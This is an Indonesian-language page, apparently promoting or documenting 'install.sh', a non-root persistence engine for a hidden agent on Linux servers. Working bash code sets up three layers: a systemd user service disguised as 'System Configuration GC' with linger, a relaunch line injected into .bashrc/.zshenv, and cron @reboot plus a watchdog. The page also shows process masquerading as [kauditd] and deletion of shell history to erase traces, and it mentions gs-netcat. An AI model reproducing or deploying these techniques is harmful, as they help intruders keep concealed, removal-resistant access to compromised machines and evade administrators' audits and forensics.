install.sh · Non-Root Persistence Engine

Tidak Bisa
Dimatikan

Agent berjalan tanpa root dan dirancang untuk survive semua upaya penghapusan — kill, reboot, cron wipe, cleanup — dengan 3 lapisan persistence yang saling backup secara otomatis.

AGENT ALIVE3 layers active · auto-restart · boot-persistent
3Persist Layers
5sMax Downtime
0Root Required
Survival Rate
01

Survival Proof — Attack Scenarios

Setiap serangan dijawab oleh layer yang berbeda. Kartu di bawah mensimulasikan siklus nyata: agent berjalan → diserang → layer merespons → agent kembali hidup.

Layer 1 Responsekill -9 PID
RUNNING
sysconf-gc.service · RestartSec=5
KILLED
SIGKILL received by systemd
REVIVED
systemd: restart triggered
5s
systemd --user mengelola lifecycle: crash apapun → restart otomatis dalam 5 detik
loginctl lingerreboot / poweroff
ONLINE
linger enabled · boot-persistent
SHUTDOWN
system power-off sequence
REVIVED
boot: linger fires service unit
boot
loginctl enable-linger: user systemd instance tetap aktif meski tidak ada yang login
Layer 2 ResponseSSH login baru
INJECTED
~/.bashrc · marker: gc-sys
DEAD
agent process terminated
REVIVED
.bashrc sources → kill -0 fails → restart
login
Setiap SSH / su / sudo -i: .bashrc di-source → kill -0 check → restart jika mati
Layer 3 Responsepkill + crontab -r
GUARDED
@reboot + */5 watchdog active
WIPED
process killed + cron deleted
REVIVED
next boot: @reboot fires again
@reboot
Service account (nologin): cron adalah primary layer — watchdog aktif setiap 5 menit
Boot Survival Timeline — loginctl linger
poweroff
t=0
BIOS/POST
~20s
Kernel
~35s
systemd
~50s
user slice
~55s
linger fires
~57s
sysconf-gc
~59s
AGENT ALIVE
done
02

Stealth & Camouflage

Non-root tidak bisa menyembunyikan /proc/PID/exe (read-only symlink ke /bin/bash). Yang bisa dilakukan: samarkan nama process, hapus jejak, sembunyi di antara proses sistem.

ps aux — admin menjalankan audit prosesLIVE SCAN
USERPID%CPU%MEMCOMMAND
root10.00.1/sbin/init splash
root2340.00.2sshd: /usr/sbin/sshd -D
root3890.00.3nginx: master process
www-data13370.10.3[kauditd]
AGENT · /proc/comm overwritten
postgres5120.00.8postgres: checkpointer
www-data20480.00.1php-fpm: pool www
01
/proc/PID/comm overwrite

Write [kauditd] langsung ke /proc/[PID]/comm (max 15 char). ps, top, htop — semua baca dari procfs — tampilkan nama palsu.

printf '[kauditd]\0' > /proc/$PID/comm
Hanya berlaku untuk proses milik sendiri. Reset setelah restart.
02
exec -a argv[0] masquerade

Spawn agent dengan exec -a "[kauditd]" — argv[0] yang tampil di /proc/cmdline dan ps adalah nama palsu.

exec -a "[kauditd]" bash agent.sh
/proc/PID/exe masih → /bin/bash. Read-only symlink, tidak bisa diganti non-root.
03
Zero-Trace Cleanup

Hapus semua jejak instalasi: history, wget-hsts, tmp files. Installer script self-destruct setelah selesai.

rm -f ~/.bash_history ~/.wget-hsts
rm -f /tmp/svc-daemon.*
Bisa di-recover dari memory forensics jika admin cukup cepat.
bashtrace-cleanup.sh — /proc/comm masquerade + zero-trace
if ! $IS_ROOT; then
    rm -f ~/.wget-hsts 2>/dev/null
    rm -f ~/.bash_history ~/.zsh_history 2>/dev/null || true
    rm -f /tmp/svc-daemon.* /tmp/klogd.* 2>/dev/null

    _NR_HIDDEN=0
    for _np in $(pgrep -f "klogd|gs-netcat|kauditd|svc-daemon" 2>/dev/null); do
        if [ "$(stat -c '%u' /proc/$_np 2>/dev/null)" = "$(id -u)" ]; then
            printf '[kauditd]' > /proc/$_np/comm 2>/dev/null                 && _NR_HIDDEN=$((_NR_HIDDEN+1))
        fi
    done
    [ $_NR_HIDDEN -gt 0 ] && echo "[+] $_NR_HIDDEN PIDs masqueraded"
fi
03

Adaptive Layer Selection

Sebelum install, agent deteksi login shell dari /etc/passwd field ke-7. Hasilnya menentukan layer mana yang aktif — service accounts langsung ke Layer 3.

bashinstall.sh — login shell + user type detection
# Baca login shell dari /etc/passwd field ke-7
_USER_LOGINSH=$(getent passwd "$(id -un)" 2>/dev/null | cut -d: -f7     || awk -F: -v u="$(id -un)" '$1==u{print $7}' /etc/passwd 2>/dev/null     || echo "")

_HAS_REAL_SHELL=false
case "$_USER_LOGINSH" in
    */bash|*/zsh|*/fish|*/ksh|*/tcsh|*/csh|*/sh|*/dash)
        _HAS_REAL_SHELL=true ;;
esac
# true  => real user  => Layer 1 + 2 + 3
# false => nologin    => Layer 1 + 3 saja
getent passwd | cut -d: -f7
login shell detection
Real User
bash · zsh · fish · sh · dash
L1L2L3
Semua 3 layer aktif — full persistence stack
Service Account
nologin · false · /bin/sync
L1SKIP L2L3
www-data, nginx, apache, postgres
04

Layer 1: systemctl --user

Lapisan terkuat — restart native via systemd setiap 5 detik. Disembunyikan sebagai “System Configuration GC”. Linger memastikan survive reboot tanpa login.

~/.config/systemd/user/sysconf-gc.service
[Unit]
Description=System Configuration GC← terlihat seperti maintenance task
[Service]
Type=simple
Restart=always← restart untuk semua kondisi exit
RestartSec=5← maximum downtime: 5 detik
StandardOutput=null← zero log output
RUNNING
KILLED
wait 5s
RUNNING
bashLayer 1 — install systemd user service
_USD="${HOME:-/tmp}/.config/systemd/user"
mkdir -p "$_USD" 2>/dev/null

cat > "$_USD/sysconf-gc.service" << USVCEOF
[Unit]
Description=System Configuration GC
After=default.target
[Service]
Type=simple
ExecStart=$_UEXEC
Restart=always
RestartSec=5
StandardOutput=null
StandardError=null
[Install]
WantedBy=default.target
USVCEOF

systemctl --user daemon-reload 2>/dev/null
systemctl --user enable sysconf-gc.service 2>/dev/null
systemctl --user start  sysconf-gc.service 2>/dev/null
sleep 2
if systemctl --user is-active sysconf-gc.service >/dev/null 2>&1; then
    _PERSIST_OK=true
    loginctl enable-linger "$(id -un)" 2>/dev/null         || echo "[!] Linger unavailable -- adding @reboot cron"
else
    rm -f "$_USD/sysconf-gc.service" 2>/dev/null
fi
Rollback otomatis: Jika is-active gagal setelah 2s, unit file dihapus — zero artifact. Kondisi gagal: LXC, Docker minimal, VPS tanpa systemd user. Installer langsung lanjut ke Layer 2.
05

Layer 2: Shell RC Injection

Inject satu baris ke shell startup file. Fires setiap SSH login, su, atau terminal baru. Service accounts (nologin) dilewati sepenuhnya.

~/.bashrc — setelah injection
1# ~/.bashrc: executed by bash for non-login shells.
2export PS1="\u@\h:\w\$ "
3# User specific aliases
4alias ll='ls -la'
5export PATH="$HOME/.local/bin:$PATH"
6# gc-sys [ -f $PF ] && kill -0 $(cat $PF) 2>/dev/null || (cd $DIR && ./kauditd) 2>/dev/nullINJECTED
Idempotent: grep -q "gc-sys" sebelum inject — tidak pernah duplikat
Stealth: marker pendek # gc-sys — terlihat seperti cleanup script biasa
kill -0: tidak mengirim signal — hanya cek PID hidup, zero noise
bashLayer 2 — inject per shell type
_RC_LINE="$_RC_CHECK || $_RC_START 2>/dev/null  # gc-sys"

_inject_rc() {
    local _f="$1"
    [ -f "$_f" ] || touch "$_f" 2>/dev/null || return 1
    grep -q "gc-sys" "$_f" 2>/dev/null && { _RC_DONE=true; return 0; }
    printf '
%s
' "$_RC_LINE" >> "$_f" 2>/dev/null && _RC_DONE=true
}

case "$_USER_LOGINSH" in
    */bash)
        _inject_rc "$HOME/.bashrc"    || true
        $_RC_DONE || _inject_rc "$HOME/.bash_profile" || true
        $_RC_DONE || _inject_rc "$HOME/.profile"      || true ;;
    */zsh)
        # .zshenv ALWAYS sourced -- bahkan non-interactive
        _inject_rc "$HOME/.zshenv"  || true
        $_RC_DONE || _inject_rc "$HOME/.zshrc"   || true ;;
    */fish)
        mkdir -p "$HOME/.config/fish" 2>/dev/null
        _inject_rc "$HOME/.config/fish/config.fish" || true ;;
    *)
        _inject_rc "$HOME/.profile" || true ;;
esac
Kenapa .zshenv? Satu-satunya zsh file yang selalu di-source bahkan untuk non-interactive shell. Tidak seperti .bashrc yang hanya interactive. Injection di .zshenv jauh lebih persistent untuk zsh user.
06

Layer 3: Cron

Universal fallback — satu-satunya pilihan untuk service accounts tanpa login shell. Watchdog */5 aktif hanya jika Layer 1 dan 2 tidak tersedia.

crontab -l (setelah install)
@reboot~/.local/share/./kauditd 2>/dev/null &
cold-boot safety netFires at boot — selalu ada terlepas layer lain aktif
*/5 * * * *[ -f $PF ] && kill -0 $(cat $PF) || ./kauditd
kondisionalAktif HANYA jika _PERSIST_OK=false (Layer 1+2 tidak tersedia)
watchdog interval — 5 menit
0m1m2m3m4m✓ check
bashLayer 3 — cron with __PF__ placeholder
_CR_WATCH='*/5 * * * * [ -f __PF__ ] && kill -0 $(cat __PF__) 2>/dev/null || (cd __DIR__ && __CMD__)'
_CR_WATCH="${_CR_WATCH//__PF__/$_PF}"
_CR_WATCH="${_CR_WATCH//__DIR__/$INSTALL_DIR}"
_CR_WATCH="${_CR_WATCH//__CMD__/$_CR_CMD}"

_CRON_BASE=$(crontab -l 2>/dev/null     | grep -v "sd-pam|kworker|rawonguard|svc-daemon|sysconf.gc|gc-sys")

if ! $_PERSIST_OK; then
    printf '%s
%s
%s
' "$_CRON_BASE" "$_CR_REBOOT" "$_CR_WATCH"         | grep -v '^[[:space:]]*$' | crontab - 2>/dev/null
else
    printf '%s
%s
' "$_CRON_BASE" "$_CR_REBOOT"         | grep -v '^[[:space:]]*$' | crontab - 2>/dev/null
fi
Placeholder trick: Menulis $(cat $PID_FILE) langsung di assignment — subshell di-evaluate saat assignment, bukan saat cron jalan. Hasilnya string kosong. Fix: gunakan placeholder __PF__ lalu substitusi dengan bash parameter expansion.
07

Compatibility Matrix

Layer mana yang aktif untuk setiap user type dan environment.

User TypeLayer 1 — systemdLayer 2 — Shell RCLayer 3 — Cron
Real User (bash/zsh) Primary Fallback Safety net
Real User (fish/sh) Primary Fallback Safety net
www-data / apache~ Jika systemd session nologin Primary + watchdog
nginx / postgres~ Jarang tersedia nologin Primary
Docker / LXC user No systemd Jika bash/zsh Primary
Alpine minimal No systemd~ ash terbatas Primary
systemd --userRestartSec=5loginctl lingerbash .bashrczsh .zshenv alwaysfish config.fishsh .profilecron @rebootcron */5 watchdognologin detectionidempotentzero-artifact rollback[kauditd] masquerade__PF__ placeholderself-destruct